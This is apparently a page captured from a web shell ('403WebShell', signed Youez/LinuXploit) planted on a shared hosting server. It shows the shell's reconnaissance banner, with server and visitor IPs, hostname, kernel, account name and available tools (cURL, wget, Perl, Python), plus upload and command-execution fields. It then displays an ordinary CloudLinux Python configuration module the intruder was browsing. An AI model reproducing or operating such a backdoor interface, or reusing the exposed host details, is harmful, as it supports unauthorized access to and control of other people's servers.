Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.145.105.199
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/imunify360/venv/lib/python3.11/site-packages/clcommon/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/imunify360/venv/lib/python3.11/site-packages/clcommon/ui_config.py
# -*- coding: utf-8 -*-

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT
#

import json
import copy
from collections.abc import Mapping

UI_CONFIG_FILE = "/usr/share/l.v.e-manager/lvemanager-config.json"
DEFAULT_UI_CONFIG = {'inodeLimits': {'showUserInodesUsage': False},
                     'uiSettings': {'hideRubyApp': False,
                                    'hideLVEUserStat': False,
                                    'hidePythonApp': False,
                                    'hideNodeJsApp': False,
                                    'hidePHPextensions': False,
                                    'hideDomainsTab': False,
                                    'hidePhpApp': False,
                                    'hideXrayApp': True,
                                    'hideAccelerateWPApp': True,
                                    }
                     }


class UIConfig:
    def __init__(self, ui_config_path=UI_CONFIG_FILE):
        self.ui_config_path = ui_config_path
        self.file_content = {}
        self.config = {}
        try:
            with open(ui_config_path, encoding='utf-8') as json_file:
                self.file_content = json.load(json_file)
                self.config = self.file_content['ui_config']
        except IOError:
            self.config = DEFAULT_UI_CONFIG
        except (ValueError, KeyError):
            self.file_content['ui_config'] = DEFAULT_UI_CONFIG
            self.config = DEFAULT_UI_CONFIG
            self._update_file(ui_config_path)

    def _update_file(self, file_path):
        with open(file_path, 'w', encoding='utf-8') as update_file:
            json.dump(self.file_content, update_file)

    def get_config(self):
        initial_config = copy.deepcopy(DEFAULT_UI_CONFIG)
        self._recursive_assign(initial_config, self.config)
        return initial_config

    def set_config(self, new_config):
        initial_config = copy.deepcopy(self.get_config())
        self._recursive_assign(initial_config, new_config)
        with open(self.ui_config_path, 'w', encoding='utf-8') as json_file:
            json.dump({'ui_config': initial_config}, json_file)

    def get_param(self, param, parent_param=None):
        config = self.get_config()
        if parent_param is None:
            return config.get(param)
        elif config.get(parent_param) is not None:
            return config.get(parent_param).get(param)
        return None

    def _recursive_assign(self, initial_config, new_config):
        """
        Function that recursively assignees values received from the UI
        :param initial_config: Config to which values are assigned
        :param new_config: New config file received from UI
        :return:
        """
        for key, value in new_config.items():
            if isinstance(value, Mapping):
                initial_config[key] = self._recursive_assign(initial_config.get(key, {}), value)
            elif value is not None and initial_config.get(key) is not None:
                initial_config[key] = value
        return initial_config

Youez - 2016 - github.com/yon3zu
LinuXploit